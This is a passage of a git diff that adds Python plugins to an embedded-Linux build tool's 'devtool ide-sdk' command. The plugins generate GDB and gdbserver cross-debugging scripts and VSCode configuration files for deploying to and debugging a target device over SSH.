+ files_list.append(os.path.join(destdir, filename))
return 0
diff --git a/scripts/lib/devtool/ide_plugins/__init__.py b/scripts/lib/devtool/ide_plugins/__init__.py
new file mode 100644
index 0000000000..19c2f61c5f
--- /dev/null
+++ b/scripts/lib/devtool/ide_plugins/__init__.py
@@ -0,0 +1,282 @@
+#
+# Copyright (C) 2023-2024 Siemens AG
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+"""Devtool ide-sdk IDE plugin interface definition and helper functions"""
+
+import errno
+import json
+import logging
+import os
+import stat
+from enum import Enum, auto
+from devtool import DevtoolError
+from bb.utils import mkdirhier
+
+logger = logging.getLogger('devtool')
+
+
+class BuildTool(Enum):
+ UNDEFINED = auto()
+ CMAKE = auto()
+ MESON = auto()
+
+ @property
+ def is_c_ccp(self):
+ if self is BuildTool.CMAKE:
+ return True
+ if self is BuildTool.MESON:
+ return True
+ return False
+
+
+class GdbCrossConfig:
+ """Base class defining the GDB configuration generator interface
+
+ Generate a GDB configuration for a binary on the target device.
+ Only one instance per binary is allowed. This allows to assign unique port
+ numbers for all gdbserver instances.
+ """
+ _gdbserver_port_next = 1234
+ _binaries = []
+
+ def __init__(self, image_recipe, modified_recipe, binary, gdbserver_multi=True):
+ self.image_recipe = image_recipe
+ self.modified_recipe = modified_recipe
+ self.gdb_cross = modified_recipe.gdb_cross
+ self.binary = binary
+ if binary in GdbCrossConfig._binaries:
+ raise DevtoolError(
+ "gdbserver config for binary %s is already generated" % binary)
+ GdbCrossConfig._binaries.append(binary)
+ self.script_dir = modified_recipe.ide_sdk_scripts_dir
+ self.gdbinit_dir = os.path.join(self.script_dir, 'gdbinit')
+ self.gdbserver_multi = gdbserver_multi
+ self.binary_pretty = self.binary.replace(os.sep, '-').lstrip('-')
+ self.gdbserver_port = GdbCrossConfig._gdbserver_port_next
+ GdbCrossConfig._gdbserver_port_next += 1
+ self.id_pretty = "%d_%s" % (self.gdbserver_port, self.binary_pretty)
+ # gdbserver start script
+ gdbserver_script_file = 'gdbserver_' + self.id_pretty
+ if self.gdbserver_multi:
+ gdbserver_script_file += "_m"
+ self.gdbserver_script = os.path.join(
+ self.script_dir, gdbserver_script_file)
+ # gdbinit file
+ self.gdbinit = os.path.join(
+ self.gdbinit_dir, 'gdbinit_' + self.id_pretty)
+ # gdb start script
+ self.gdb_script = os.path.join(
+ self.script_dir, 'gdb_' + self.id_pretty)
+
+ def _gen_gdbserver_start_script(self):
+ """Generate a shell command starting the gdbserver on the remote device via ssh
+
+ GDB supports two modes:
+ multi: gdbserver remains running over several debug sessions
+ once: gdbserver terminates after the debugged process terminates
+ """
+ cmd_lines = ['#!/bin/sh']
+ if self.gdbserver_multi:
+ temp_dir = "TEMP_DIR=/tmp/gdbserver_%s; " % self.id_pretty
+ gdbserver_cmd_start = temp_dir
+ gdbserver_cmd_start += "test -f \\$TEMP_DIR/pid && exit 0; "
+ gdbserver_cmd_start += "mkdir -p \\$TEMP_DIR; "
+ gdbserver_cmd_start += "%s --multi :%s > \\$TEMP_DIR/log 2>&1 & " % (
+ self.gdb_cross.gdbserver_path, self.gdbserver_port)
+ gdbserver_cmd_start += "echo \\$! > \\$TEMP_DIR/pid;"
+
+ gdbserver_cmd_stop = temp_dir
+ gdbserver_cmd_stop += "test -f \\$TEMP_DIR/pid && kill \\$(cat \\$TEMP_DIR/pid); "
+ gdbserver_cmd_stop += "rm -rf \\$TEMP_DIR; "
+
+ gdbserver_cmd_l = []
+ gdbserver_cmd_l.append('if [ "$1" = "stop" ]; then')
+ gdbserver_cmd_l.append(' shift')
+ gdbserver_cmd_l.append(" %s %s %s %s 'sh -c \"%s\"'" % (
+ self.gdb_cross.target_device.ssh_sshexec, self.gdb_cross.target_device.ssh_port, self.gdb_cross.target_device.extraoptions, self.gdb_cross.target_device.target, gdbserver_cmd_stop))
+ gdbserver_cmd_l.append('else')
+ gdbserver_cmd_l.append(" %s %s %s %s 'sh -c \"%s\"'" % (
+ self.gdb_cross.target_device.ssh_sshexec, self.gdb_cross.target_device.ssh_port, self.gdb_cross.target_device.extraoptions, self.gdb_cross.target_device.target, gdbserver_cmd_start))
+ gdbserver_cmd_l.append('fi')
+ gdbserver_cmd = os.linesep.join(gdbserver_cmd_l)
+ else:
+ gdbserver_cmd_start = "%s --once :%s %s" % (
+ self.gdb_cross.gdbserver_path, self.gdbserver_port, self.binary)
+ gdbserver_cmd = "%s %s %s %s 'sh -c \"%s\"'" % (
+ self.gdb_cross.target_device.ssh_sshexec, self.gdb_cross.target_device.ssh_port, self.gdb_cross.target_device.extraoptions, self.gdb_cross.target_device.target, gdbserver_cmd_start)
+ cmd_lines.append(gdbserver_cmd)
+ GdbCrossConfig.write_file(self.gdbserver_script, cmd_lines, True)
+
+ def _gen_gdbinit_config(self):
+ """Generate a gdbinit file for this binary and the corresponding gdbserver configuration"""
+ gdbinit_lines = ['# This file is generated by devtool ide-sdk']
+ if self.gdbserver_multi:
+ target_help = '# gdbserver --multi :%d' % self.gdbserver_port
+ remote_cmd = 'target extended-remote'
+ else:
+ target_help = '# gdbserver :%d %s' % (
+ self.gdbserver_port, self.binary)
+ remote_cmd = 'target remote'
+ gdbinit_lines.append('# On the remote target:')
+ gdbinit_lines.append(target_help)
+ gdbinit_lines.append('# On the build machine:')
+ gdbinit_lines.append('# cd ' + self.modified_recipe.real_srctree)
+ gdbinit_lines.append(
+ '# ' + self.gdb_cross.gdb + ' -ix ' + self.gdbinit)
+
+ gdbinit_lines.append('set sysroot ' + self.modified_recipe.d)
+ gdbinit_lines.append('set substitute-path "/usr/include" "' +
+ os.path.join(self.modified_recipe.recipe_sysroot, 'usr', 'include') + '"')
+ # Disable debuginfod for now, the IDE configuration uses rootfs-dbg from the image workdir.
+ gdbinit_lines.append('set debuginfod enabled off')
+ if self.image_recipe.rootfs_dbg:
+ gdbinit_lines.append(
+ 'set solib-search-path "' + self.modified_recipe.solib_search_path_str(self.image_recipe) + '"')
+ # First: Search for sources of this recipe in the workspace folder
+ if self.modified_recipe.pn in self.modified_recipe.target_dbgsrc_dir:
+ gdbinit_lines.append('set substitute-path "%s" "%s"' %
+ (self.modified_recipe.target_dbgsrc_dir, self.modified_recipe.real_srctree))
+ else:
+ logger.error(
+ "TARGET_DBGSRC_DIR must contain the recipe name PN.")
+ # Second: Search for sources of other recipes in the rootfs-dbg
+ if self.modified_recipe.target_dbgsrc_dir.startswith("/usr/src/debug"):
+ gdbinit_lines.append('set substitute-path "/usr/src/debug" "%s"' % os.path.join(
+ self.image_recipe.rootfs_dbg, "usr", "src", "debug"))
+ else:
+ logger.error(
+ "TARGET_DBGSRC_DIR must start with /usr/src/debug.")
+ else:
+ logger.warning(
+ "Cannot setup debug symbols configuration for GDB. IMAGE_GEN_DEBUGFS is not enabled.")
+ gdbinit_lines.append(
+ '%s %s:%d' % (remote_cmd, self.gdb_cross.host, self.gdbserver_port))
+ gdbinit_lines.append('set remote exec-file ' + self.binary)
+ gdbinit_lines.append(
+ 'run ' + os.path.join(self.modified_recipe.d, self.binary))
+
+ GdbCrossConfig.write_file(self.gdbinit, gdbinit_lines)
+
+ def _gen_gdb_start_script(self):
+ """Generate a script starting GDB with the corresponding gdbinit configuration."""
+ cmd_lines = ['#!/bin/sh']
+ cmd_lines.append('cd ' + self.modified_recipe.real_srctree)
+ cmd_lines.append(self.gdb_cross.gdb + ' -ix ' +
+ self.gdbinit + ' "$@"')
+ GdbCrossConfig.write_file(self.gdb_script, cmd_lines, True)
+
+ def initialize(self):
+ self._gen_gdbserver_start_script()
+ self._gen_gdbinit_config()
+ self._gen_gdb_start_script()
+
+ @staticmethod
+ def write_file(script_file, cmd_lines, executable=False):
+ script_dir = os.path.dirname(script_file)
+ mkdirhier(script_dir)
+ with open(script_file, 'w') as script_f:
+ script_f.write(os.linesep.join(cmd_lines))
+ script_f.write(os.linesep)
+ if executable:
+ st = os.stat(script_file)
+ os.chmod(script_file, st.st_mode | stat.S_IEXEC)
+ logger.info("Created: %s" % script_file)
+
+
+class IdeBase:
+ """Base class defining the interface for IDE plugins"""
+
+ def __init__(self):
+ self.ide_name = 'undefined'
+ self.gdb_cross_configs = []
+
+ @classmethod
+ def ide_plugin_priority(cls):
+ """Used to find the default ide handler if --ide is not passed"""
+ return 10
+
+ def setup_shared_sysroots(self, shared_env):
+ logger.warn("Shared sysroot mode is not supported for IDE %s" %
+ self.ide_name)
+
+ def setup_modified_recipe(self, args, image_recipe, modified_recipe):
+ logger.warn("Modified recipe mode is not supported for IDE %s" %
+ self.ide_name)
+
+ def initialize_gdb_cross_configs(self, image_recipe, modified_recipe, gdb_cross_config_class=GdbCrossConfig):
+ binaries = modified_recipe.find_installed_binaries()
+ for binary in binaries:
+ gdb_cross_config = gdb_cross_config_class(
+ image_recipe, modified_recipe, binary)
+ gdb_cross_config.initialize()
+ self.gdb_cross_configs.append(gdb_cross_config)
+
+ @staticmethod
+ def gen_oe_scrtips_sym_link(modified_recipe):
+ # create a sym-link from sources to the scripts directory
+ if os.path.isdir(modified_recipe.ide_sdk_scripts_dir):
+ IdeBase.symlink_force(modified_recipe.ide_sdk_scripts_dir,
+ os.path.join(modified_recipe.real_srctree, 'oe-scripts'))
+
+ @staticmethod
+ def update_json_file(json_dir, json_file, update_dict):
+ """Update a json file
+
+ By default it uses the dict.update function. If this is not sutiable
+ the update function might be passed via update_func parameter.
+ """
+ json_path = os.path.join(json_dir, json_file)
+ logger.info("Updating IDE config file: %s (%s)" %
+ (json_file, json_path))
+ if not os.path.exists(json_dir):
+ os.makedirs(json_dir)
+ try:
+ with open(json_path) as f:
+ orig_dict = json.load(f)
+ except json.decoder.JSONDecodeError:
+ logger.info(
+ "Decoding %s failed. Probably because of comments in the json file" % json_path)
+ orig_dict = {}
+ except FileNotFoundError:
+ orig_dict = {}
+ orig_dict.update(update_dict)
+ with open(json_path, 'w') as f:
+ json.dump(orig_dict, f, indent=4)
+
+ @staticmethod
+ def symlink_force(tgt, dst):
+ try:
+ os.symlink(tgt, dst)
+ except OSError as err:
+ if err.errno == errno.EEXIST:
+ if os.readlink(dst) != tgt:
+ os.remove(dst)
+ os.symlink(tgt, dst)
+ else:
+ raise err
+
+
+def get_devtool_deploy_opts(args):
+ """Filter args for devtool deploy-target args"""
+ if not args.target:
+ return None
+ devtool_deploy_opts = [args.target]
+ if args.no_host_check:
+ devtool_deploy_opts += ["-c"]
+ if args.show_status:
+ devtool_deploy_opts += ["-s"]
+ if args.no_preserve:
+ devtool_deploy_opts += ["-p"]
+ if args.no_check_space:
+ devtool_deploy_opts += ["--no-check-space"]
+ if args.ssh_exec:
+ devtool_deploy_opts += ["-e", args.ssh.exec]
+ if args.port:
+ devtool_deploy_opts += ["-P", args.port]
+ if args.key:
+ devtool_deploy_opts += ["-I", args.key]
+ if args.strip is False:
+ devtool_deploy_opts += ["--no-strip"]
+ return devtool_deploy_opts
diff --git a/scripts/lib/devtool/ide_plugins/ide_code.py b/scripts/lib/devtool/ide_plugins/ide_code.py
new file mode 100644
index 0000000000..a62b93224e
--- /dev/null
+++ b/scripts/lib/devtool/ide_plugins/ide_code.py
@@ -0,0 +1,463 @@
+#
+# Copyright (C) 2023-2024 Siemens AG
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+"""Devtool ide-sdk IDE plugin for VSCode and VSCodium"""
+
+import json
+import logging
+import os
+import shutil
+from devtool.ide_plugins import BuildTool, IdeBase, GdbCrossConfig, get_devtool_deploy_opts
+
+logger = logging.getLogger('devtool')
+
+
+class GdbCrossConfigVSCode(GdbCrossConfig):
+ def __init__(self, image_recipe, modified_recipe, binary):
+ super().__init__(image_recipe, modified_recipe, binary, False)
+
+ def initialize(self):
+ self._gen_gdbserver_start_script()
+
+
+class IdeVSCode(IdeBase):
+ """Manage IDE configurations for VSCode
+
+ Modified recipe mode:
+ - cmake: use the cmake-preset generated by devtool ide-sdk
+ - meson: meson is called via a wrapper script generated by devtool ide-sdk
+
+ Shared sysroot mode:
+ In shared sysroot mode, the cross tool-chain is exported to the user's global configuration.
+ A workspace cannot be created because there is no recipe that defines how a workspace could
+ be set up.
+ - cmake: adds a cmake-kit to .local/share/CMakeTools/cmake-tools-kits.json
+ The cmake-kit uses the environment script and the tool-chain file
+ generated by meta-ide-support.
+ - meson: Meson needs manual workspace configuration.
+ """
+
+ @classmethod
+ def ide_plugin_priority(cls):
+ """If --ide is not passed this is the default plugin"""
+ if shutil.which('code'):
+ return 100
+ return 0
+
+ def setup_shared_sysroots(self, shared_env):
+ """Expose the toolchain of the shared sysroots SDK"""
+ datadir = shared_env.ide_support.datadir
+ deploy_dir_image = shared_env.ide_support.deploy_dir_image
+ real_multimach_target_sys = shared_env.ide_support.real_multimach_target_sys
+ standalone_sysroot_native = shared_env.build_sysroots.standalone_sysroot_native
+ vscode_ws_path = os.path.join(
+ os.environ['HOME'], '.local', 'share', 'CMakeTools')
+ cmake_kits_path = os.path.join(vscode_ws_path, 'cmake-tools-kits.json')
+ oecmake_generator = "Ninja"
+ env_script = os.path.join(
+ deploy_dir_image, 'environment-setup-' + real_multimach_target_sys)
+
+ if not os.path.isdir(vscode_ws_path):
+ os.makedirs(vscode_ws_path)
+ cmake_kits_old = []
+ if os.path.exists(cmake_kits_path):
+ with open(cmake_kits_path, 'r', encoding='utf-8') as cmake_kits_file:
+ cmake_kits_old = json.load(cmake_kits_file)
+ cmake_kits = cmake_kits_old.copy()
+
+ cmake_kit_new = {
+ "name": "OE " + real_multimach_target_sys,
+ "environmentSetupScript": env_script,
+ "toolchainFile": standalone_sysroot_native + datadir + "/cmake/OEToolchainConfig.cmake",
+ "preferredGenerator": {
+ "name": oecmake_generator
+ }
+ }
+
+ def merge_kit(cmake_kits, cmake_kit_new):
+ i = 0
+ while i < len(cmake_kits):
+ if 'environmentSetupScript' in cmake_kits[i] and \
+ cmake_kits[i]['environmentSetupScript'] == cmake_kit_new['environmentSetupScript']:
+ cmake_kits[i] = cmake_kit_new
+ return
+ i += 1
+ cmake_kits.append(cmake_kit_new)
+ merge_kit(cmake_kits, cmake_kit_new)
+
+ if cmake_kits != cmake_kits_old:
+ logger.info("Updating: %s" % cmake_kits_path)
+ with open(cmake_kits_path, 'w', encoding='utf-8') as cmake_kits_file:
+ json.dump(cmake_kits, cmake_kits_file, indent=4)
+ else:
+ logger.info("Already up to date: %s" % cmake_kits_path)
+
+ cmake_native = os.path.join(
+ shared_env.build_sysroots.standalone_sysroot_native, 'usr', 'bin', 'cmake')
+ if os.path.isfile(cmake_native):
+ logger.info('cmake-kits call cmake by default. If the cmake provided by this SDK should be used, please add the following line to ".vscode/settings.json" file: "cmake.cmakePath": "%s"' % cmake_native)
+ else:
+ logger.error("Cannot find cmake native at: %s" % cmake_native)
+
+ def dot_code_dir(self, modified_recipe):
+ return os.path.join(modified_recipe.srctree, '.vscode')
+
+ def __vscode_settings_meson(self, settings_dict, modified_recipe):
+ if modified_recipe.build_tool is not BuildTool.MESON:
+ return
+ settings_dict["mesonbuild.mesonPath"] = modified_recipe.meson_wrapper
+
+ confopts = modified_recipe.mesonopts.split()
+ confopts += modified_recipe.meson_cross_file.split()
+ confopts += modified_recipe.extra_oemeson.split()
+ settings_dict["mesonbuild.configureOptions"] = confopts
+ settings_dict["mesonbuild.buildFolder"] = modified_recipe.b
+
+ def __vscode_settings_cmake(self, settings_dict, modified_recipe):
+ """Add cmake specific settings to settings.json.
+
+ Note: most settings are passed to the cmake preset.
+ """
+ if modified_recipe.build_tool is not BuildTool.CMAKE:
+ return
+ settings_dict["cmake.configureOnOpen"] = True
+ settings_dict["cmake.sourceDirectory"] = modified_recipe.real_srctree
+
+ def vscode_settings(self, modified_recipe, image_recipe):
+ files_excludes = {
+ "**/.git/**": True,
+ "**/oe-logs/**": True,
+ "**/oe-workdir/**": True,
+ "**/source-date-epoch/**": True
+ }
+ python_exclude = [
+ "**/.git/**",
+ "**/oe-logs/**",
+ "**/oe-workdir/**",
+ "**/source-date-epoch/**"
+ ]
+ files_readonly = {
+ modified_recipe.recipe_sysroot + '/**': True,
+ modified_recipe.recipe_sysroot_native + '/**': True,
+ }
+ if image_recipe.rootfs_dbg is not None:
+ files_readonly[image_recipe.rootfs_dbg + '/**'] = True
+ settings_dict = {
+ "files.watcherExclude": files_excludes,
+ "files.exclude": files_excludes,
+ "files.readonlyInclude": files_readonly,
+ "python.analysis.exclude": python_exclude
+ }
+ self.__vscode_settings_cmake(settings_dict, modified_recipe)
+ self.__vscode_settings_meson(settings_dict, modified_recipe)
+
+ settings_file = 'settings.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), settings_file, settings_dict)
+
+ def __vscode_extensions_cmake(self, modified_recipe, recommendations):
+ if modified_recipe.build_tool is not BuildTool.CMAKE:
+ return
+ recommendations += [
+ "twxs.cmake",
+ "ms-vscode.cmake-tools",
+ "ms-vscode.cpptools",
+ "ms-vscode.cpptools-extension-pack",
+ "ms-vscode.cpptools-themes"
+ ]
+
+ def __vscode_extensions_meson(self, modified_recipe, recommendations):
+ if modified_recipe.build_tool is not BuildTool.MESON:
+ return
+ recommendations += [
+ 'mesonbuild.mesonbuild',
+ "ms-vscode.cpptools",
+ "ms-vscode.cpptools-extension-pack",
+ "ms-vscode.cpptools-themes"
+ ]
+
+ def vscode_extensions(self, modified_recipe):
+ recommendations = []
+ self.__vscode_extensions_cmake(modified_recipe, recommendations)
+ self.__vscode_extensions_meson(modified_recipe, recommendations)
+ extensions_file = 'extensions.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), extensions_file, {"recommendations": recommendations})
+
+ def vscode_c_cpp_properties(self, modified_recipe):
+ properties_dict = {
+ "name": modified_recipe.recipe_id_pretty,
+ }
+ if modified_recipe.build_tool is BuildTool.CMAKE:
+ properties_dict["configurationProvider"] = "ms-vscode.cmake-tools"
+ elif modified_recipe.build_tool is BuildTool.MESON:
+ properties_dict["configurationProvider"] = "mesonbuild.mesonbuild"
+ properties_dict["compilerPath"] = os.path.join(modified_recipe.staging_bindir_toolchain, modified_recipe.cxx.split()[0])
+ else: # no C/C++ build
+ return
+
+ properties_dicts = {
+ "configurations": [
+ properties_dict
+ ],
+ "version": 4
+ }
+ prop_file = 'c_cpp_properties.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), prop_file, properties_dicts)
+
+ def vscode_launch_bin_dbg(self, gdb_cross_config):
+ modified_recipe = gdb_cross_config.modified_recipe
+
+ launch_config = {
+ "name": gdb_cross_config.id_pretty,
+ "type": "cppdbg",
+ "request": "launch",
+ "program": os.path.join(modified_recipe.d, gdb_cross_config.binary.lstrip('/')),
+ "stopAtEntry": True,
+ "cwd": "${workspaceFolder}",
+ "environment": [],
+ "externalConsole": False,
+ "MIMode": "gdb",
+ "preLaunchTask": gdb_cross_config.id_pretty,
+ "miDebuggerPath": modified_recipe.gdb_cross.gdb,
+ "miDebuggerServerAddress": "%s:%d" % (modified_recipe.gdb_cross.host, gdb_cross_config.gdbserver_port)
+ }
+
+ # Search for header files in recipe-sysroot.
+ src_file_map = {
+ "/usr/include": os.path.join(modified_recipe.recipe_sysroot, "usr", "include")
+ }
+ # First of all search for not stripped binaries in the image folder.
+ # These binaries are copied (and optionally stripped) by deploy-target
+ setup_commands = [
+ {
+ "description": "sysroot",
+ "text": "set sysroot " + modified_recipe.d
+ }
+ ]
+
+ if gdb_cross_config.image_recipe.rootfs_dbg:
+ launch_config['additionalSOLibSearchPath'] = modified_recipe.solib_search_path_str(
+ gdb_cross_config.image_recipe)
+ # First: Search for sources of this recipe in the workspace folder
+ if modified_recipe.pn in modified_recipe.target_dbgsrc_dir:
+ src_file_map[modified_recipe.target_dbgsrc_dir] = "${workspaceFolder}"
+ else:
+ logger.error(
+ "TARGET_DBGSRC_DIR must contain the recipe name PN.")
+ # Second: Search for sources of other recipes in the rootfs-dbg
+ if modified_recipe.target_dbgsrc_dir.startswith("/usr/src/debug"):
+ src_file_map["/usr/src/debug"] = os.path.join(
+ gdb_cross_config.image_recipe.rootfs_dbg, "usr", "src", "debug")
+ else:
+ logger.error(
+ "TARGET_DBGSRC_DIR must start with /usr/src/debug.")
+ else:
+ logger.warning(
+ "Cannot setup debug symbols configuration for GDB. IMAGE_GEN_DEBUGFS is not enabled.")
+
+ launch_config['sourceFileMap'] = src_file_map
+ launch_config['setupCommands'] = setup_commands
+ return launch_config
+
+ def vscode_launch(self, modified_recipe):
+ """GDB Launch configuration for binaries (elf files)"""
+
+ configurations = []
+ for gdb_cross_config in self.gdb_cross_configs:
+ if gdb_cross_config.modified_recipe is modified_recipe:
+ configurations.append(self.vscode_launch_bin_dbg(gdb_cross_config))
+ launch_dict = {
+ "version": "0.2.0",
+ "configurations": configurations
+ }
+ launch_file = 'launch.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), launch_file, launch_dict)
+
+ def vscode_tasks_cpp(self, args, modified_recipe):
+ run_install_deploy = modified_recipe.gen_install_deploy_script(args)
+ install_task_name = "install && deploy-target %s" % modified_recipe.recipe_id_pretty
+ tasks_dict = {
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": install_task_name,
+ "type": "shell",
+ "command": run_install_deploy,
+ "problemMatcher": []
+ }
+ ]
+ }
+ for gdb_cross_config in self.gdb_cross_configs:
+ if gdb_cross_config.modified_recipe is not modified_recipe:
+ continue
+ tasks_dict['tasks'].append(
+ {
+ "label": gdb_cross_config.id_pretty,
+ "type": "shell",
+ "isBackground": True,
+ "dependsOn": [
+ install_task_name
+ ],
+ "command": gdb_cross_config.gdbserver_script,
+ "problemMatcher": [
+ {
+ "pattern": [
+ {
+ "regexp": ".",
+ "file": 1,
+ "location": 2,
+ "message": 3
+ }
+ ],
+ "background": {
+ "activeOnStart": True,
+ "beginsPattern": ".",
+ "endsPattern": ".",
+ }
+ }
+ ]
+ })
+ tasks_file = 'tasks.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), tasks_file, tasks_dict)
+
+ def vscode_tasks_fallback(self, args, modified_recipe):
+ oe_init_dir = modified_recipe.oe_init_dir
+ oe_init = ". %s %s > /dev/null && " % (modified_recipe.oe_init_build_env, modified_recipe.topdir)
+ dt_build = "devtool build "
+ dt_build_label = dt_build + modified_recipe.recipe_id_pretty
+ dt_build_cmd = dt_build + modified_recipe.bpn
+ clean_opt = " --clean"
+ dt_build_clean_label = dt_build + modified_recipe.recipe_id_pretty + clean_opt
+ dt_build_clean_cmd = dt_build + modified_recipe.bpn + clean_opt
+ dt_deploy = "devtool deploy-target "
+ dt_deploy_label = dt_deploy + modified_recipe.recipe_id_pretty
+ dt_deploy_cmd = dt_deploy + modified_recipe.bpn
+ dt_build_deploy_label = "devtool build & deploy-target %s" % modified_recipe.recipe_id_pretty
+ deploy_opts = ' '.join(get_devtool_deploy_opts(args))
+ tasks_dict = {
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": dt_build_label,
+ "type": "shell",
+ "command": "bash",
+ "linux": {
+ "options": {
+ "cwd": oe_init_dir
+ }
+ },
+ "args": [
+ "--login",
+ "-c",
+ "%s%s" % (oe_init, dt_build_cmd)
+ ],
+ "problemMatcher": []
+ },
+ {
+ "label": dt_deploy_label,
+ "type": "shell",
+ "command": "bash",
+ "linux": {
+ "options": {
+ "cwd": oe_init_dir
+ }
+ },
+ "args": [
+ "--login",
+ "-c",
+ "%s%s %s" % (
+ oe_init, dt_deploy_cmd, deploy_opts)
+ ],
+ "problemMatcher": []
+ },
+ {
+ "label": dt_build_deploy_label,
+ "dependsOrder": "sequence",
+ "dependsOn": [
+ dt_build_label,
+ dt_deploy_label
+ ],
+ "problemMatcher": [],
+ "group": {
+ "kind": "build",
+ "isDefault": True
+ }
+ },
+ {
+ "label": dt_build_clean_label,
+ "type": "shell",
+ "command": "bash",
+ "linux": {
+ "options": {
+ "cwd": oe_init_dir
+ }
+ },
+ "args": [
+ "--login",
+ "-c",
+ "%s%s" % (oe_init, dt_build_clean_cmd)
+ ],
+ "problemMatcher": []
+ }
+ ]
+ }
+ if modified_recipe.gdb_cross:
+ for gdb_cross_config in self.gdb_cross_configs:
+ if gdb_cross_config.modified_recipe is not modified_recipe:
+ continue
+ tasks_dict['tasks'].append(
+ {
+ "label": gdb_cross_config.id_pretty,
+ "type": "shell",
+ "isBackground": True,
+ "dependsOn": [
+ dt_build_deploy_label
+ ],
+ "command": gdb_cross_config.gdbserver_script,
+ "problemMatcher": [
+ {
+ "pattern": [
+ {
+ "regexp": ".",
+ "file": 1,
+ "location": 2,
+ "message": 3
+ }
+ ],
+ "background": {
+ "activeOnStart": True,
+ "beginsPattern": ".",
+ "endsPattern": ".",
+ }
+ }
+ ]
+ })
+ tasks_file = 'tasks.json'
+ IdeBase.update_json_file(
+ self.dot_code_dir(modified_recipe), tasks_file, tasks_dict)
+
+ def vscode_tasks(self, args, modified_recipe):
+ if modified_recipe.build_tool.is_c_ccp:
+ self.vscode_tasks_cpp(args, modified_recipe)
+ else:
+ self.vscode_tasks_fallback(args, modified_recipe)
+
+ def setup_modified_recipe(self, args, image_recipe, modified_recipe):
+ self.vscode_settings(modified_recipe, image_recipe)
+ self.vscode_extensions(modified_recipe)
+ self.vscode_c_cpp_properties(modified_recipe)
+ if args.target:
+ self.initialize_gdb_cross_configs(
+ image_recipe, modified_recipe, gdb_cross_config_class=GdbCrossConfigVSCode)
+ self.vscode_launch(modified_recipe)
+ self.vscode_tasks(args, modified_recipe)
+
+
+def register_ide_plugin(ide_plugins):
+ ide_plugins['code'] = IdeVSCode
diff --git a/scripts/lib/devtool/ide_plugins/ide_none.py b/scripts/lib/devtool/ide_plugins/ide_none.py
new file mode 100644
index 0000000000..f106c5a026
--- /dev/null
+++ b/scripts/lib/devtool/ide_plugins/ide_none.py
@@ -0,0 +1,53 @@
+#
+# Copyright (C) 2023-2024 Siemens AG
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+"""Devtool ide-sdk generic IDE plugin"""
+
+import os
+import logging
+from devtool.ide_plugins import IdeBase, GdbCrossConfig
+
+logger = logging.getLogger('devtool')
+
+
+class IdeNone(IdeBase):
+ """Generate some generic helpers for other IDEs
+
+ Modified recipe mode:
+ Generate some helper scripts for remote debugging with GDB
+
+ Shared sysroot mode:
+ A wrapper for bitbake meta-ide-support and bitbake build-sysroots
+ """
+
+ def __init__(self):
+ super().__init__()
+
+ def setup_shared_sysroots(self, shared_env):
+ real_multimach_target_sys = shared_env.ide_support.real_multimach_target_sys
+ deploy_dir_image = shared_env.ide_support.deploy_dir_image
+ env_script = os.path.join(
+ deploy_dir_image, 'environment-setup-' + real_multimach_target_sys)
+ logger.info(
+ "To use this SDK please source this: %s" % env_script)
+
+ def setup_modified_recipe(self, args, image_recipe, modified_recipe):
+ """generate some helper scripts and config files
+
+ - Execute the do_install task
+ - Execute devtool deploy-target
+ - Generate a gdbinit file per executable
+ - Generate the oe-scripts sym-link
+ """
+ script_path = modified_recipe.gen_install_deploy_script(args)
+ logger.info("Created: %s" % script_path)
+
+ self.initialize_gdb_cross_configs(image_recipe, modified_recipe)
+
+ IdeBase.gen_oe_scrtips_sym_link(modified_recipe)
+
+
+def register_ide_plugin(ide_plugins):
+ ide_plugins['none'] = IdeNone
diff --git a/scripts/lib/devtool/ide_sdk.py b/scripts/lib/devtool/ide_sdk.py
new file mode 100755
index 0000000000..7807b322b3
--- /dev/null
+++ b/scripts/lib/devtool/ide_sdk.py
@@ -0,0 +1,1070 @@
+# Development tool - ide-sdk command plugin
+#
+# Copyright (C) 2023-2024 Siemens AG
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+"""Devtool ide-sdk plugin"""
+
+import json
+import logging
+import os
+import re
+import shutil
+import stat
+import subprocess
+import sys
+from argparse import RawTextHelpFormatter
+from enum import Enum
+
+import scriptutils
+import bb
+from devtool import exec_build_env_command, setup_tinfoil, check_workspace_recipe, DevtoolError, parse_recipe
+from devtool.standard import get_real_srctree
+from devtool.ide_plugins import BuildTool
+
+
+logger = logging.getLogger('devtool')
+
+# dict of classes derived from IdeBase
+ide_plugins = {}
+
+
+class DevtoolIdeMode(Enum):
+ """Different modes are supported by the ide-sdk plugin.
+
+ The enum might be extended by more advanced modes in the future. Some ideas:
+ - auto: modified if all recipes are modified, shared if none of the recipes is modified.
+ - mixed: modified mode for modified recipes, shared mode for all other recipes.
+ """
+
+ modified = 'modified'
+ shared = 'shared'
+
+
+class TargetDevice:
+ """SSH remote login parameters"""
+
+ def __init__(self, args):
+ self.extraoptions = ''
+ if args.no_host_check:
+ self.extraoptions += '-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
+ self.ssh_sshexec = 'ssh'
+ if args.ssh_exec:
+ self.ssh_sshexec = args.ssh_exec
+ self.ssh_port = ''
+ if args.port:
+ self.ssh_port = "-p %s" % args.port
+ if args.key:
+ self.extraoptions += ' -i %s' % args.key
+
+ self.target = args.target
+ target_sp = args.target.split('@')
+ if len(target_sp) == 1:
+ self.login = ""
+ self.host = target_sp[0]
+ elif len(target_sp) == 2:
+ self.login = target_sp[0]
+ self.host = target_sp[1]
+ else:
+ logger.error("Invalid target argument: %s" % args.target)
+
+
+class RecipeNative:
+ """Base class for calling bitbake to provide a -native recipe"""
+
+ def __init__(self, name, target_arch=None):
+ self.name = name
+ self.target_arch = target_arch
+ self.bootstrap_tasks = [self.name + ':do_addto_recipe_sysroot']
+ self.staging_bindir_native = None
+ self.target_sys = None
+ self.__native_bin = None
+
+ def _initialize(self, config, workspace, tinfoil):
+ """Get the parsed recipe"""
+ recipe_d = parse_recipe(
+ config, tinfoil, self.name, appends=True, filter_workspace=False)
+ if not recipe_d:
+ raise DevtoolError("Parsing %s recipe failed" % self.name)
